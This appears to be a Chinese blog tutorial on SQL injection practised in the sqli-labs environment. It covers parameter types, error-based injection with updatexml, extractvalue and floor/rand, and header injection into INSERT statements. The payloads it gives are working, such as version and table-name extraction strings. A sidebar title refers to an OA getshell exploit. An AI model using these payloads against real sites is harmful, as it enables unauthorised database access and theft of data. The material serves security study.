SQL各种参数类型下的注入测试

数字型-sqlilabs less2

前面文章已演示过

字符型-sqlilabs less1

前面文章已演示过

搜索型-自写测试

如:

www.test.com/index.php?id=1

www.test.com/index.php?id=abc

(搜索型,一般产生在网站的搜索框)http://www.test.com/search.php?q=1

区分参数类型的原因:

当参数类型为数字时,sql语句拼接可以不用引号或其他符号进行概括,而参数类型为字符串时,sql语句拼接必须使用引号或其他符号进行概括,从而由此分析,在进行sql注入时,如果出现符号,那么注入也要考虑符号的干扰!

本地计算机在进行文件搜索时,会经常使用通配符:"*" 星号

在数据库中搜索遍历的通配符:"%" 百分号

select * from emails where email_id like '%com%'

从上图可以看出,数据库通配符%和计算机搜索通配符*使用方法差不多

数字型和字符型的SQL语句:

选择库,表

数字型选择列,无单引号

字符型选择列,有单引号

SQL各种报错方式下的注入测试

此类报错注入旨在解决无回显下的注入测试

参考文章:

https://www.wandouip.com/t5i158282/
http://blog.sina.com.cn/s/blog_1450cc4c60102vraq.html

mysql sql语句中空格可以使用"+",“/**/”等取代

url中绕过空格使用"%20","+",“/**/”等取代

注:MySQL 5.1.5版本后才包含ExtractValue()和UpdateXML()这2个函数

updatexml报错-sqlilabs less5

updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数

updatexml()函数与extractvalue()类似,是更新xml文档的函数。

语法:updatexml(目标xml文档,xml路径,更新的内容)

如:

select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))

报错方式相同:

如:

select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))

可构造如下payload:

?id=1' and 1=(updatexml(1,concat(0x3a,(select version())),1))--+

?id=1' and 1=(updatexml(1,concat(0x3a,(select table_name from information_schema.tables limit 0,1)),1))--+

updatexml的爆错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串。我们输入的显然不符合。故报错由此报错

updatexml的最大长度是32位的,所以有所局限(PS:但是应对大多的已经足够。)

如果密码长度超过了32位就不会被显示出来。

payload分析:

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据

extractvalue报错-sqlilabs less5

extractvalue()函数也是MYSQL对XML文档数据进行查询和修改的XPATH函数

可构造payload:

?id=1' and extractvalue(1,concat(0x7e,user()))--+

?id=1' and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables limit 1)))--+

payload分析:

ExtractValue(xml_frag, xpath_expr)

ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径

例如:SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。

floor报错-sqlilabs less5

构造payload:

?id=1'+and+(select+1+from+(select+count(*),concat(version(),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+

?id=-1' and(select 1 from (select count(*),concat((select table_name from information_schema.tables limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

文章分析payload ,详细讲解双查询注入:

https://blog.csdn.net/lixiangminghate/article/details/80466257

当在一个聚合函数,比如count函数后面如果使用分组语句(group by)就会把查询的一部分以错误的形式显示出来

可以在database()替换要查询的函数

SQL各种查询方式下的注入测试

select 查询数据

在网站应用中进行数据显示查询操作,前面演示的很多都是

insert 插入数据-sqlilabs less18

在网站应用中进行用户注册添加等操作

在登录界面输入的用户名需要进数据库查询,有这用户才可以进行下一步执行

用admin账号密码登录一下

同时用seay审计工具的mysql监控插件,监控SQL命令的执行

可以看到有个insert的SQL语句,把它复制到MySQL命令行执行

从SQL命令中插入的参数中,有useragent,ip,username插入了数据库

username参数想要插入到数据库,就先要通过数据库里面正确的账号密码插入,数据库没有的就不能通过,所以在这两个框中不能进行语句注入

但是看到这里有ip和useragent插入数据库,我们可以在这上面注入,加个单引号报错了:

猜想在数据中的sql语句为:INSEERT INTO table VALUES('User-Agent','Ip','Username')

接下来我们尝试在User-Agent的位置进行注入测试,我们修改User-Agnet的值使其符合整个INSERT INTIO 的语法,闭合后就应该为

INSEERT INTO table VALUES('1' ,1,1)#','Ip','Username'),成功绕过

运用payload:

delete 删除数据

后台管理里面删除文章删除用户等操作

update 更新数据

数据同步缓存等操作

通过以上查询方式与网站应用的关系,可以由注入点产生地方或应用猜测到对方的SQL查询方式

最新文章

  1. CSS垂直居中总结
  2. 转:Delphi 函数大全
  3. 【Python】[面向对象编程] 访问限制,继承和多态
  4. [Java Basics3] XML, Unit testing
  5. C语言嵌入式系统编程修炼之一:背景篇
  6. vs10创建sqlclr部署失败
  7. Java包装类及其拆箱装箱
  8. 仿迅雷播放器教程 -- C++ 100款开源界面库 (10)
  9. 【IBM-WALA】Step by Step : use WALA to generate System Dependency Graph PDF and Dot File (Mac)
  10. java中JDK环境变量的配置
  11. Vakuum开发笔记02 核心与安全问题
  12. 表访问方式----&gt;全表扫描(Full Table Scans, FTS)
  13. Eclipse------导入项目后出现Java compiler level does not match the version of the installed Java project facet
  14. Delphi Berlin 窗体代码分离风格 回到Delphi7传统风格
  15. Excel VBA宏 链接服务器 上传和下载数据
  16. MinGW安装设置
  17. python 读帧和绘图的区别
  18. 浏览器地址栏中加入ico图标的二种方法
  19. 20145315 《Java程序设计》第六周学习总结
  20. 二分图 and code1170 双栈排序

热门文章

  1. 通达OA任意文件上传+文件包含GetShell/包含日志文件Getshell
  2. HDU_3071 Gcd &amp; Lcm game 【素数分解 + 线段树 + 状压】
  3. Mybatis最权威的知识点
  4. android 调用js,js调用android
  5. Linux系统(Centos7)最新版本Docker简易(yum)安装步骤
  6. Paperfolding HDU - 6822
  7. POJ3278_Catch That Cow(JAVA语言)
  8. ch2_8_2求解幸运数问题
  9. 依赖反转原则DIP 与使用了Repository模式的asp.net core项目结构
  10. 学习笔记-json数据格式化